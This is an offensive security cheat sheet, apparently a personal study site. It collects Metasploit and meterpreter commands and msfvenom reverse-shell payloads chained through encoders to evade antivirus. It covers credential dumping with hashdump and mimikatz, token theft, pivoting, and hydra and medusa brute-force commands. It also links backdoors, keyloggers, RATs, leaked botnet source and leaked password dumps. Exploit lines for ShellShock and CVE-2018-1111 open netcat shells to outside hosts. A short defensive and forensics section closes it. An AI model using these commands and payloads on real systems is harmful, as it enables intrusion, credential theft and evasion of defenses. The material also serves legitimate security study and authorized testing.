msf> db_rebuild_cache
```

```
msf> reload / loot / services / ...
```

```
msf> help / db_status / show -h / set
```

```
msf> set verbose true
```

```
msf> show -h
```

```
msf> show options
```

```
msf> show advanced
```

```
msf> set
```

```
msf> show missing
```

```
msf> jobs -l
```

```
msf> sessions -l
```

```
meterpreter> <Ctrl+Z> # background current interactive session
```

■ [auxiliary](#)

■ port scanner: [use auxiliary/scanner/portscan/tcp](#)

■ dns enumeration: [use auxiliary/gather/dns_enum](#)

■ ftp server: [use auxiliary/server/ftp](#) [set FTPROOT /tmp/ftpboot](#) [run](#)

■ socks proxy server: [use auxiliary/server/socks4](#)

3. msfconsole: `use exploit/multi/handler`
eternal handler: `set exitonsession false` -> `run -j`
 4. set variables `PAYLOAD` , `LHOST` , `LPORT`
 5. `> exploit` -> opens meterpreter (in effect - remote shell)
- fast migration: `meterpreter > ps | grep spool` -> `meterpreter > migrate 1100`
 - `run persistence -h` - set meterpreter into autostart (registry), `metsvc` - set meterpreter as a service with autostart
 - `> sysinfo / getuid / getsid / getprivs / ps / migrate / use priv / getsystem / run winenum / shell / shutdown / reboot / load mimikatz + wdigest / ...`
`kill / execute` - you can do a lot of things, ..., install keylogger, make screenshots, getcountermeasure, ...
 - file manipulations: `download / upload / cat / edit` `ls/pwd/cd/lcd/mkdir/rmdir`
 - network: `ipconfig / portfwd / route`
 - `loot`
 - **privilege escalation**
 - `getsystem` - elevate privileges to localsystem
 - retrieve credentials:
 - `hashdump` - dumps the contence of SAM database
 - `load mimikatz`
 - `kerberos`
 - `livessp` , `ssp`

- `steal_token [user PID]` - steal user's token

- token impersonalization:

```
use incognito
list_tokens -u
impersonate_token DOMAIN\user
```

- attempt to create user on a domain controller: `add_user phonexicum qwerty123456 -h 192.168.20.30`

- pivot into other systems:

```
meterpreter> run get_local_subnets
meterpreter> background
msf exploit(handler)> route add <localsubnet> <netmask> [session] run
```

- list all post modules: `run [TAB] [TAB]`

- [msfvenom](#) shellcode/payload generator

fast example: `msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=12344 -f c --platform windows -a x86 -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -i 5`

- [ShellcodeWrapper](#) - mutlibyte XOR or AES encrypted shellcode

msfvenom help:

```
msfvenom --help-formats # list supported output formats
msfvenom --help-platforms # list supported platforms
msfvenom -l payloads|encoders|nops|all # list available payloads|encoders|nops|all
```

```
## -k - preserve the template's normal behaviour and run payload as a separate thread
## built-in templates: `/usr/share/metasploit-framework/data/templates`
```

- `-x` flag helps to avoid AV detection
- main encoder's purpose is to avoid bad chars, however chaining various encoders can help to bypass AV

```
msfvenom -p windows/shell_reverse_tcp LHOST=172.16.0.250 LPORT=12346 -f exe -a x86 --platform windows -b "  
msfvenom -a x86 --platform windows -e x86/countdown -i 17 -f raw | \  
msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 12 -f exe >shell_reverse_tcp2.exe
```

Connecting with meterpreter:

```
msf> use exploit/multi/handler  
msf> set payload windows/meterpreter/reverse_tcp  
msf> set lhost 10.0.0.1  
msf> set lport 12344  
msf> exploit -j # -j option is to keep all the connected sessions in the background
```

msfvenom encoders can be chained, e.g.:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=12344 -f raw -e x86/shikata_ga_nai -i 3 | \  
msfvenom -a x86 --platform windows -e x86/countdown -i 5 -f raw | \  
msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 8 -f exe -o payload.exe
```

- [msfpayload](#) - msfvenom payload creator (user-friendly msfvenom wrapper)
- [TheFatRat](#) - massive exploiting tool targeted at Windows exploitation - *very user-friendly* (looks like instrument is just using metasploit, Veil, ..., but no additional technics in it) ([usage example](#))

Check at lines 412, 414, 428, 430 selected payloads (better change it to x64) or there can be some problems.

```
msfconsole

msf > workspace -a lab1
msf > # workspace -d lab1

msf > db_import file.xml # nmap xml, nessus xml, acunetix, ...
msf > db_nmap ... # same command to nmap

msf > hosts -h
msf > services -h
msf > creds -h

msf > db_export -f xml /path/to/file.xml

msf > load db_autopwn
msf > db_autopwn -t -p -e -R 0 -r
    # -r - reverse shell
    # -b - bind shell
    # -v - verbose
msf > sessions -l
```

- [apt2](#) - *An Automated Penetration Testing Toolkit* - it uses metasploit to automatically enumerate exploits against targets (can import nmap, nessus or nexpose scans) (safety mode can be set) (nmap can be run automatically)

```
msfconsole
> load msgrpc
# > load msgrpc ServerHost=127.0.0.1 ServerPort=55552 User=msf Pass=msfpass
# /usr/share/metasploit-framework/msfrpcd -a 127.0.0.1 -p 55552 -U msf -P msfpass -f # run metasploit rpc
```

```
# Will run nmap automatically:
```

```
./apt2.py -vv -s 0 --target 10.0.0.2/32
```

```
./apt2.py -vv -s 0 -C CustomConfig.cfg -f Nmap-Nessus-Nexpose.xml
```

- [routersploit](#) (kali installation: `apt install routersploit`)

```
rsf > use scanners/autopwn
```

```
rsf (AutoPwn) > set target 192.168.1.1
```

```
rsf (AutoPwn) > run
```

- [isf - Industrial Control System Exploitation Framework](#) - a exploitation framework based on Python

- [fuzzbunch](#) - NSA finest tool - brilliant analog of metasploit leaked from NSA

INSTALLATION ! [fuzzbunch-debian](#) - fuzzbunch deployment for debian

[usage example](#)

[Powershell Empire и FuzzBunch: эксплуатация нашумевшей уязвимости EternalBlue](#)

- [monkey \(ghub\)](#) - an automated pentest tool (another autopwn)

- [core security, core impact](#) - smth like metasploit, with GUI (but its usage is thoroughly watched by NSA, it is hard to get it)

- [CANVAS \(Immunity\)](#)


- [SAINTexploit](#)

- [Art of Anti Detection 1 – Introduction to AV & detection techniques](#)
- [Art of Anti Detection 2 – Backdoor manufacturing](#)
- [Детект песочницы. Учимся определять, работает ли приложение в sandbox-изоляции](#)

Tools:

- [Cminer](#) - a tool for enumerating the code caves in PE files.
code cave is a place in executable which does not contain any data and can be used for storing a payload.
- [Execute Mimikatz Inside of RegSvcs or RegAsm - .NET utilities Proof of Concept](#)

Auto anti-evasion tools:

- [spookflare](#), [spookflare \(github\)](#) - can generate meterpreter reverse HTTP/HTTPS x86/x64 and bypass modern antiviruses (january 2018)
([SpookFlare \(RU\)](#), [статья про SpookFlare \(RU\)](#))
- [Veil 3.0 Framework](#) (veil-evasion) - tool designed to generate metasploit payloads that bypass common anti-virus solutions.
- [ebowla](#) - targeted at making payloads undetectable (ebowla - Ethnic Bio Weapon Limited Access)
- [go-mimikatz](#) - a wrapper around a pre-compiled version of the Mimikatz executable for the purpose of anti-virus evasion.
-  `-x` flag for msfvenom in order to use custom template
- [www.shellterproject.com](#), [shellter \(kali\)](#) - a dynamic shellcode injection tool (PE, 32bit)
- [The Backdoor Factory \(BDF\)](#) (not maintained since 2016-2017) - patch PE, ELF, Mach-O binaries with shellcode.

- [searchsploit](#) - tool for searching exploits on [exploit-db.com](#) locally
- [popmem](#) - exploit and vulnerability finder (searches through PacketStorm security, CXSecurity, ZeroDay, Vulners, National Vulnerability Database, WPScan Vulnerability Database, ...)
- [searchscan](#) - search nmap and metasploit scanning scripts

- [exploitsearch.net](#) - exploits aggregator
- [exploit-db.com](#) - offensive security exploit db
- [vuldb.com](#)
- [0day.today](#) - exploit database (free and paid)

- [Vulners](#) - vulnerability database with smart search and machine-readable output
- [rapid7 metasploit modules](#) - vulnerability database and metasploit exploits database
- [kernel-exploits.com](#) - kernel linux exploits for privilege escalation
- [cxsecurity.com](#) - vulnerabilities database
- [WPScan Vulnerability Database](#) - wordpress vulnerability db
- [securitylab.ru \(RU\)](#) - search for exploits/vulnerabilities

Linux privilege escalation

Cheatsheets:

- [Linux Unix Bsd Post Exploitation](#)
- [Basic Linux Privilege Escalation](#)
- [Privilege Escalation on Linux with Live examples](#)

Linux kernel exploits:

- [xairy/linux-kernel-exploitation](#)
- [lucyoo/kernel-exploits \(github\)](#)
- [SecWiki/linux-kernel-exploits \(github\)](#)
- [Privilege Escalation](#) - contains common local exploits and enumeration scripts ([PrivEsc Linux](#))

Instruments:

- [linuxprivchecker \(python\)](#)
- [LinEnum \(sh\)](#) (high-level summary of the checks/tasks performed by LinEnum)
- [unix-privesc-check](#)
[unix-privesc-check](#) - old

- *exploit-suggester - suggest exploits for Solaris*

- [SecWiki/android-kernel-exploits](#)

- [SecWiki/macOS-kernel-exploits](#)

- [chw00t](#) - chroot escape tool (most of the technics require root)

- `cat /etc/crontab/`

- `cat /etc/passwd | grep bash | cut -d ':' -f 1` - get all users with bash login

- `sudo -l` - get commands, available to run

- installed packages: `dpkg --get-selections | grep "\sinstall$"` `dpkg-query -W -f='${Package} ${Version} ${Architecture}\n'`

- suid-bit utilization

Program for changing effective uid

Articles about basic linux privilege escalation:

- *linux privilege escalation scripts - 3 scripts for detecting possibilities for privilege escalation (LinEnum, LinuxPrivChecker, g0tm1k's Blog)*

Linux containers / docker

- [docker security](#)
- [cr0hn/dockerscan](#) - docker attacking (firstly) and analysis tools
- [coreos/clair](#) - static analysis of vulnerabilities in application containers
- [docker security scanning](#)
- [docker/docker-bench-security](#) - a script that checks for dozens of common best-practices around deploying Docker containers in production

postexploitation / backdoors / RAT

[Пак исходников руткитов](#) - rootkits sources list

- [tsh](#) (linux) - tinysHELL - an open-source UNIX backdoor that compiles on all variants, has full pty support, and uses strong crypto for communication
- [weeveily3](#) ([wiki](#)) - weaponized web shell (supports only php)
 - `./weeveily.py generate password agent.php` (check more flags) - generate agent.php
 - `./weeveily.py http://target/agent.php password` - remote connect
- [brookit](#) - lightweight rootkit implemented by bash shell scripts v0.10

[logkeys](#) - a GNU/Linux keylogger

[Simple Python Keylogger](#)

SC-KeyLog

[ixkeylog](#) - a X11 keylogger for Unix that basically uses xlib to interact with users keyboard

[sniffMK](#) - MacOS keylogger (+ mouse)

somehow `msgina.dll` can be changed on some keylogger to log user's password

Windows:

- [sbd](#) (windows) - secure backdoor
- [QuasarRAT](#) - remote administration tool for windows
- [pupy](#) - opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python
- [Stitch](#)
- [outis](#) - outis is a custom Remote Administration Tool (RAT) or something like that. It was build to support various transport methods (like DNS) and platforms (like Powershell).

- Botnets:

[lizkebab botnet](#)

more: [iot-malware](#) - malware source code samples leaked - BE ACCURATE!!

article: [Modern linux rootkits 101](#)



APT - Advanced Persistent Thread

- Stealing NetNTLM hashes:
 - BadPDF
 - LRM - Left-to-Right mark (pdf.exe vs exe.pdf)
 - `.scf` , `.url` , `file://` (OWA), ... - [see more at](#)
 - malicious macros
- `msf> search exploit/windows/fileformat/adobe_pdf_embedded_exe` - embed shellcode into pdf
- CVE-2017-8759 - insert shellcode into `.rtf` (last time I tested it under windows 10 - it worked perfectly)

[PoC for infecting rtf \(github poc\):](#)

BruteForce

- [ElcomSoft Distributed Password Recovery](#)

Utilities:

- Online bruteforce:

Automatization and wide-range brute-attack: [brutespray](#) - brutespray imports nmap scans and bruteforce services

- `xfreerdp /v:10.0.0.2:3389 -sec-nla /u:"" - enumerate/list windows users through rdp`
- [THC Hydra](#) – brute force attack on a remote authentication services (adam6500 asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp)

[hydra comparison of features and services coverage](#)

```
hydra http-form-post -U - module help
```

```
hydra -4uF -t 4 -o /tmp/brute-log.txt ... - template
```

```
hydra -v -t 32 -l root -P dict.txt -o ~/recovered.txt 10.0.0.1 -s 2222 ssh
```

```
hydra -v -t 32 -L usernames.txt -P dict.txt -o ~/recovered.txt 10.0.0.1 -s 2222 ssh
```

[more usage examples](#)

- [medusa](#) - login bruteforcer (cvs, ftp, http, imap, mssql, mysql, nntp, pcanywhere, pop3, postgres, rexec, rlogin, rsh, smbnt, smtp-vrfy, smtp, snmp, svn (subversion), telnet, vmauthd (VMware authentication daemon), vnc, web-form, wrapper (generic wrapper))

```
medusa -d - display currently installed modules
```

```
medusa -M http -q - module help
```

```
medusa -T 10 -t 5 -L -F -O /tmp/brute-log.txt -u root -P dict.txt -h 10.0.0.2 -M ssh - template
```

usage examples

- **ncrack** - login bruteforcer (SSH, RDP, FTP, Telnet, HTTP(S), POP3(S), IMAP, SMB, VNC, SIP, Redis, PostgreSQL, MySQL, MSSQL, MongoDB, Cassandra, WinRM, OWA)

```
ncrack -T3 ... -template
```

```
ncrack -v -T5 -g cl=10 -u phonexicum -P /path/to/passwords 10.0.0.2 -p 22,ftp:3210,telnet
```

- **crowbar** - it is developed to support protocols that are not currently supported by thc-hydra, ... (openvpn, rdp, sshkey, vnckey)

```
crowbar.py -n 10 -b rdp -u username -C /path/to/passwords -s 10.0.0.2/32 -p 3389
```

- **osueta** - ssh timing attack - user enumeration

```
osueta.py -l 1000 -H 172.16.0.12 -p 22 -L /path/to/usernames -v yes
```

blog.g0tmi1k.com/dvwa/login - using hydra or patator for online bruteforce with respect to CSRF token

[g0tmi1k/boot2root-scripts \(github\)](https://github.com/g0tmi1k/boot2root-scripts) - scripts for brute with respect to CSRF token

[medusa](#), [hydra](#), [ncrack comparison](#)

Some fuzzers:

- *ftp-fuzz, tftp-fuzz, oniofuzz*
- *XBruteForcer - WordPress (autodetect username), Joomla, Drupal, OpenCart, Magento*

- Offline bruteforce:

- **hashcat** - advanced password recovery (OpenCL (video card)) ([hashcat + oclHashcat = hashcat \(RU\)](#))
[trustedsec/hate_crack](#) - a tool for automating cracking methodologies through Hashcat from the TrustedSec team.

- `hashcat64.exe -I` - get available OpenCL devices

My favourite flags:

- `-m 2500 -w 4 --status --status-timer=10 - wifi`

Specific flags:

- `-w1-4` - set of hardware load
 - `--status --status-timer=10` - automatically update status every X seconds
 - `-j ">8"` - will find hashes with length of 10 and bigger (see more rules [here](#))
 - `--potfile-disable` - disable potfile (handy for *debug* runs)
 - `--session=last` - save under session "last" - `hashcat64.exe --session=last --restore` - restore session "last"
 - etc...
- ***JohnTheRipper*** - password cracker (cpu only) ([JohnTheRipper hash formats \(pentestmonkey\)](#))
get saved hashes: `grep 5d41402abc4b2a76b9719d911017c592 ~/.john/john.pot`
rsmangler - take a wordlist and perform various manipulations on it similar to those done by John the Ripper (looks like copy of JohnTheRipper's permutator)
 - ***ophcrack*** - a free **Windows password cracker** based on *rainbow tables*. It is a very efficient implementation of rainbow tables done by the inventors of the method. It comes with a Graphical User Interface and runs on multiple platforms.
 - ***sucrack*** - bruteforce passwords on local machine
 - *L0phtCrack 7* - (after v7 it become much-more faster and expensive) – attempts to crack Windows passwords from hashes which it can obtain (given proper access) from stand-alone Windows workstations, networked servers, primary domain controllers, or

Good online services for hash recovery:

- [cmd5](#) - paid service, but it is *worthwhile*
- [hachkiller](#)
- [gpuhash.me](#)
- [hashes.org](#) ([hashes.org leaks](#))

more online services (this list becomes obsolete very fast)

- [woraauthbf_0.22R2](#) – the Oracle password cracker
- *fcrackzip source code - bruteforce zip-archives*

Wordlists:

(RU) Создание и нормализация словарей. Выбираем лучшее, убираем лишнее

- **most popular:**

- kali-linux builtin: `/usr/share/wordlists/`
- metasploit builtin: `/usr/share/metasploit-framework/data/wordlists`
- *rockyou, john, cain&abel, ...* Collection of most popular (and leaked): [wiki.skullsecurity.org passwords](#)
- [droope/pwlist](#) - ssh bruteforce wordlist (from smbd's *honeypot*)
- [aircrack](#)
- [statistically likely usernames](#)


```
./changeme.py 10.0.0.0/8 --all -t 10 , ./changeme.py --dump - print loaded credentials
```

Target to scan - can be IP, subnet, hostname, nmap xml file, text file or proto://host:port

- [pwdsearch](#) - a huge grepable collection of passwords

-

[devices:](#)

-

[SCADA:](#)

- [default-passwords \(SecLists\)](#)
- [default accounts wordlist](#)
- [netbiosX/Default-Credentials](#)
- [tenable: plugins: Default unix accounts](#)
- [default password list \(2007-07-03\)](#)

- **various generated wordlists, processed by some very hard-working guys:**

- [WiFiMap](#) - tool for dumping passwords from *wifimap*
[WhyFi](#) - database dumped in 2017
- [berzerk0/Probable-Wordlists](#) - wordlists sorted by probability originally created for password generation and testing (*isn't it the most popular today?*)
- [crackstation.net](#) - the guy collected in one file all passwords he could find in the world (was it in 2010 ?)

- **enormous collections of logins/passwords raw data:**

- [torrent magnet uri](#) - 600 GB database of logins/passwords from **darknet**
- [databases.today](#) - free-to-download 60GB collection of publicly available leaked password databases (all dbs: [list of all these databases](#))
- [Dictionaries + Wordlists \(blog.g0tmi1k.com\)](#)

- **bruteforcing masks**

- [PathWell Topologies \(korelogic blog\)](#)

- **password analysis**

- [pwdlyser](#) - password analysis and reporting tool

- [wordlists.capsop.com](#)

- [openwall.com/pub/wordlists](#), [openwall.com/pub/wordlists \(ftp\)](#) - open collection from openwall for brute (exist bigger collection, but it is paid)

- [Ingles-50M.zip](#)

- [duyetdev/bruteforce-database](#)

- [siph0n.net](#)

- [Dormidera/Passwords](#) - german, arabe, spanish, numbers, ...

Web-sites having big leaked databases (though they will not share them):

- [dumpedlqezarfife.onion.lu](#)
- [weleakinfo.com](#)
- [leakedsource.ru](#)
- [haveibeenpwned.com](#)

Rulesets:

[pw-inspector](#) - reads passwords in and prints those which meet the requirements

- [John The Ripper - rules](#) - some rulesets for john-the-ripper
- [KoreLogic](#) - custom rules for generating wordlists (KoreLogic - a password cracking contest)

Wordlists generators:

- [cewl \(digi.ninja cewl\)](#) - custom word-list generator (generates wordlists based on parsed web-site (spiders a given url to a specified depth, optionally following external links, and returns a list of words))

generate wordlist: `cewl -d 3 -m 4 -w /home/phonexicum/Desktop/cewl-10.3.txt http://10.0.0.3/ -u "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0"`

[как создать словарь паролей используя - CRUNCH \(RU\)](#)

trivial examples

- [maskprocessor](#) - high-performance word generator with a per-position configurable charset
- [\(RU\) создание и нормализация словарей](#)
- Custom script for web-page words extraction:

[parse web-page and generate wordlist for further bruteforce \(python3\)](#)

Categorial/Concrete/Narrow tools/attacks

[Frida](#) - dynamic code instrumentation toolkit

[Instrumenting Android Applications with Frida](#)

- [clusterd](#) (kali linux) - autoexploitation of jboss|coldfusion|weblogic|tomcat|railo|axis2|glassfish with default passwords (exploitation: loading a webshell by standart app-deploy mechanism (no hacking))

```
clusterd -d -i 10.0.0.2 -p 8080 --fingerprint - fingerprint host
```

```
clusterd -d -i 10.0.0.2 -p 8080 --deploy /usr/share/clusterd/src/lib/resources/cmd.war - deploy app
```

[web-shells used for upload](#)

Database (oracle, etc.) attacks:

[evilarc](#) - create tar/zip archives that can exploit directory traversal vulnerabilities

PDF-tools:

- [PDF analysis](#) - awesomeness
- [description](#): make-pdf, pdfid, pdf-parser.py, PDFTemplate.bt

SQL-browsers:

- [HiediSQL](#) - universal sql client (gui more-friendly) (MySQL, MSSQL and PostgreSQL browser)
- [DBeaver](#) - universal sql client (more functional (supports more connection types))
- [SQLiteBrowser](#)
- *Oracle Instant Client*

Hexeditors:

- **hexdump** – ASCII, decimal, hexadecimal, octal dump
- [HxD](#) - hexadecimal editor
- [HexEdit](#) (win) – hexadecimal editor
- [Hex viewers and editors](#)

Serialization/deserialization:

Git/... (version control system) repository disembowel:

- [dvcs-ripper](#) - rip web accessible (distributed) version control systems: SVN/GIT/HG... (even when directory browsing is turned off)

```
perl ~/tools/dvcs-ripper/rip-git.pl -sgvm -u http://keepass.hhcow.ru/empty/.git/
```

note: git repositories may contain *packs* with complicated names (sha), though their names can not be guessed

- [dvcs-Pillage](#)

```
./gitpillage.sh http www.example.com/subdir
```

[Manual git-repo disembowel](#)

Attacks:

- [Invoke-PSImage](#) - embeds a PowerShell script in the pixels of a PNG file and generates a oneliner to execute

Tools:

- [CCleaner](#) – looks into a lot of places in windows system

Hardware

1. Create text file on DuckScript

2. Compile DuckScript into jar file using `duckencoder.jar` into `bin`

3. Upload `bin` into MicroSD card into first FAT32 partition as file named `inject.bin`

DuckScript example:

- [Teensy USB development board](#)

Forensic (images, raw data, broken data) (more about ctf, rather than real incident response)

awesomeness

- [DFIR](#) - digital forensics and incident response (tremendous tools list concerning forensics)
- [forensicswiki.org](#) - awesomeness, web-site about forensic
[Document Metadata Extraction](#)
- [linux-explorer](#) - easy-to-use live forensics toolbox for Linux endpoints

file type conversions, obfuscation/deobfuscation

- [file](#)
 - [exemsi](#) - exe-to-msi convertor
 - [wix](#) - set of tools available to create your windows installation experience
- `dark.exe -small -x . sample.msi` - a tool to easily convert an MSI file into an XML file

tools for analyzing, reverse engineering, and extracting images/files

- [WinHex](#) - a universal hexadecimal editor, particularly helpful in the realm of computer forensics, data recovery, low-level data processing, and IT security
- *Determine type of data:*
 - [file](#) (linux), [trid](#) (windows) - identify file types from their binary signatures
 - [File Format Identification](#)
 - [toolsley.com](#) (online tool)
 - [Tika](#) (apache's) - a content analysis toolkit
- [hash-identifier](#) (kali tool)
- Dumping data ([forensics wiki - Memory Imaging](#))
HDD: dd, Acronis (windows) RAM: [LiME](#)(linux), Goldfish(osx), [rekall](#) (osx/windows), [RAM capturer](#) (windows)
- *Analyse raw-data:*
 - *recover ntfs:*

([The Sleuth Kit](#) - library, used by autopsy behind the curtains)

- [volatility](#) ([volatility \(github\)](#)) - advanced memory forensics framework

[Snifer/security-cheatsheets volatility](#)

example: [vmem dump of stuxnet under WinXPSP3x86](#) ([at web-archive](#))

- [rekall](#) - memory forensic framework

- *Extract files/info from raw-data:*

- **binwalk** (`-E` flag will show entropy value)

- [extract-firmware.sh](#)

- [bulk-extractor](#) - extracts useful information by processing partially corrupted or compressed data (zip, pdf, gzip, ...). It can carve JPEGs, office documents and other kinds of files out of fragments of compressed data. It will detect and carve encrypted RAR files.

`bulk_extractor -o bulk-out xp-laptop-2005-07-04-1430.img` - extract files to the output directory (-o bulk-out) after analyzing the image file (xp-laptop-2005-07-04-1430.img)

- *Restore:*

- **foremost** - recover files using their headers, footers, and data structures

- [DiskDrill](#) - data recovery for MacOS and Windows

- [FTK \(Forensic toolkit\)](#)
- [FTK Imager](#)
- [PCredz](#)

Audio:

- [Audacity](#) – cross-platform audio software for multi-track recording and editing
- [mp3stego](#)
- [SonicVisualiser](#) - audio forensics
- **ffmpeg** – video converter

Pictures, images:

- [stegsolve](#)
- [PIL](#) - python imaging library

PIL example:

- [pngcheck](#) (linux) – verifies the integrity of PNG, JNG and MNG files and extracts format chunks
- [ImageMagick](#) (linux) - create, edit, compose, or convert bitmap images
- **articles:**
 - [cheatsheet - Steganography 101](#)
 - [Pic_stego](#)

steganography:

- **exiftool(-k)** - read and write meta information in files

Defensive

[Zabbix Threat Control](#) ([Zabbix как сканер безопасности](#))

[GOSINT](#) - Open Source Threat Intelligence Gathering and Processing Framework

[Rootkit hunter](#) - security monitoring and analyzing tool for POSIX compliant systems

[fail2ban](#) - bruteforce (DoS) trivial defense

[check_ioc](#) - a script to check for various, selectable indicators of compromise on Windows Systems

[Uncovering indicators of compromise](#)

[wphardening](#) ([github](#))

[snyk.io](#) - continuously find and fix vulnerabilities in your dependencies

[cure53/DOMPurify](#) - XSS sanitizer for HTML, MathML and SVG

[Securing Java](#) ([web archive](#) - [securing java](#))

[nginx config pitfalls](#)

- [clickhouse \(yandex\)](#) - an open source column-oriented database management system capable of real time generation of analytical data reports using SQL queries.
- [graylog](#) - enterprise log management for all
- [elastic elk stack](#)
[HELK](#) - a hunting ELK (Elasticsearch, Logstash, Kibana) with advanced analytic capabilities (can be used for SIEM systems)
- [logstalgia.io](#)
- ... and much-much more
- [molo.ch molo.ch \(github\)](#) - open source, large scale, full packet capturing, indexing, and database system (one of the applications is to use it for SIEM systems)

Obfuscation

- [tigress](#) – Tigress is a diversifying virtualizer/obfuscator for the C language that supports many novel defenses against both static and dynamic reverse engineering and de-virtualization attacks
- [sendmark](#) – tool for software watermarking, tamper-proofing, and code obfuscation of Java bytecode
- *Revelo – obfuscate/deobfuscate JS-code.*
- *PHPConverter – obfuscate/deobfuscate PHP-code*
- *PHPScriptDecoder – deobfuscator of PHP-code*

Honeypots

- [kippo](#) - ssh honeypot

Rolebased and mandatory access models for Linux: **SELinux**, **GRSecurity**, **AppArmor**, ...

SELinux (triplet is called - *security context*):

- (subject) username -> (exists policy setting available role changes) -> role -> (role linked to several domains) -> domain/type (set of actions available to process)
- (objects) name -> role -> type
- policies contains rules, how types can access each other, whether it be a domain accessing a type, or a domain accessing another domain
- *Access vector* for *class* - describes set of operations available to be done by subject under object whose type belongs to defined class (classes inheritance is available)
- *type transitions* - types can automatically change with `exec`

[BCC](#) - tools for BPF-based Linux IO analysis, networking, monitoring, and more (effective toolkit for linux monitoring)

Widely heard vulnerabilities

msf module: `use auxiliary/scanner/ssl/openssl_heartbleed`

- **ShellShock / BashDoor** (CVE-2014-6271, ...)

exploit example: `curl -A '() { :; }; /bin/nc -p 3333 -e /bin/sh' http://10.0.0.1/script`

check your system: `export evil='() { :; }; echo vulnerable'; bash -c echo;`

check cgi script: `curl -i -X HEAD "http://example.com/" -A '() { :; }; echo "Warning: Server Vulnerable"'`

- **EternalBlue** (CVE-2017-0144) (MS17-010) - vulnerability in SMB share (maybe microsoft's backdoor) (this vulnerability used in WannaCry)

derivatives: [MS17-010 EternalSynergy / EternalRomance / EternalChampion aux+exploit modules](#)

[eternal_check](#) - vulnerability check to Eternal Blue, Romance, Synergy, Champion

[Анализ шифровальщика Wana Decrypt0r 2.0](#)

- **MS12-020 - rdp DoS:** `/usr/share/exploitdb/exploits/windows/dos/18606.txt`

- **KRACK attack** - breaking WPA2 (CVE-2017-13077 - CVE-2017-13082, CVE-2017-13084, CVE-2017-13086 - CVE-2017-13088)

- **Meltdown / SPECTRE attack** - intel's hardware vulnerability (CVE-2017-5715, CVE-2017-5753, CVE-2017-5754)

[spectre check](#)

[Пошумели - разошлись. Meltdown, Spectre месяц спустя \(Артём Гавриченко\) \(2018\)](#)

Defenses: KPTI (kernel page-table isolation), retpoline (more advanced: IBRS/IBPB); In browsers: rough counters (performance.now), disable SharedArrayBuffer, "Full Site Isolation", "Pointer poisoning", "Index Masking"

- CVE-2018-1111 (**POC**) - remote code injection in redhat via dhcp with root privileges

```
dnsmasq --interface=eth0 --bind-interfaces --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-  
file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1  
1337
```

[kaitai](#) - Kaitai struct - a new way to develop parsers for binary structures.

selenium, slimerjs, phantomjs, casperjs - software-testing framework for web applications - tools for browser-control

BusyBox – software that provides several stripped-down Unix tools in a single executable file

[cheat](#) - designed to help remind *nix system administrators of options for commands that they use frequently, but not frequently enough to remember

[security-cheatsheets](#)

[TCC](#) - tiny C compiler

[Виртуальные Номера \(бесплатные\)](#) - list of resorces for using virtual telephone numbers (virtual phone, virtual cellphone)

[www.dtsearch.com](#) - product for searching through terabytes of data (files with wide variety of extensions/types)

Fun:

- [pingfs](#) - stores your data in ICMP ping packets
- [zcash](#) - team trying to implement “Zerocash” protocol, based on Bitcoin’s code, it intends to offer a far higher standard of privacy through a sophisticated zero-knowledge proving scheme that preserves confidentiality of transaction metadata.
serious project, in progress



inputs

Configuration analysis

- [lynis \(sh\)](#) - security auditing tool for Linux, macOS, and UNIX-based systems

Information Security

Information Security
[phonexicum @ yandex.ru](#)

 [phonexicum](#)
 [phonexicum](#)

I created this site in a burst of information security studying to organize my mind and create some kind of cheatsheet.